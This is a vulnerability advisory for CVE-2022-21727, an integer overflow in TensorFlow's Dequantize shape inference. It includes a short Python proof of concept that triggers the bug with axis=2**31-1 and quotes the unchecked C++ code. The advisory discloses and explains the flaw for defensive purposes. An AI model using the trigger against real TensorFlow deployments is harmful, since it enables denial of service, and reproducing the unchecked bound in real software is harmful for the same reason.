CVE-2022-21727: Integer overflow in Tensorflow
(updated )
The implementation of shape inference for Dequantize
is vulnerable to an integer overflow weakness:
import tensorflow as tf
input = tf.constant([1,1],dtype=tf.qint32)
@tf.function
def test():
y = tf.raw_ops.Dequantize(
input=input,
min_range=[1.0],
max_range=[10.0],
mode='MIN_COMBINED',
narrow_range=False,
axis=2**31-1,
dtype=tf.bfloat16)
return y
test()
The axis
argument can be -1
(the default value for the optional argument) or any other positive value at most the number of dimensions of the input. Unfortunately, the upper bound is not checked, and, since the code computes axis + 1
, an attacker can trigger an integer overflow:
int axis = -1;
Status s = c->GetAttr("axis", &axis);
// ...
if (axis < -1) {
return errors::InvalidArgument("axis should be at least -1, got ",
axis);
}
// ...
if (axis != -1) {
ShapeHandle input;
TF_RETURN_IF_ERROR(c->WithRankAtLeast(c->input(0), axis + 1, &input));
// ...
}
References
- github.com/advisories/GHSA-c6fh-56w7-fvjw
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-51.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-106.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/ops/array_ops.cc
- github.com/tensorflow/tensorflow/commit/b64638ec5ccaa77b7c1eb90958e3d85ce381f91b
- github.com/tensorflow/tensorflow/security/advisories/GHSA-c6fh-56w7-fvjw
- nvd.nist.gov/vuln/detail/CVE-2022-21727
Detect and mitigate CVE-2022-21727 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →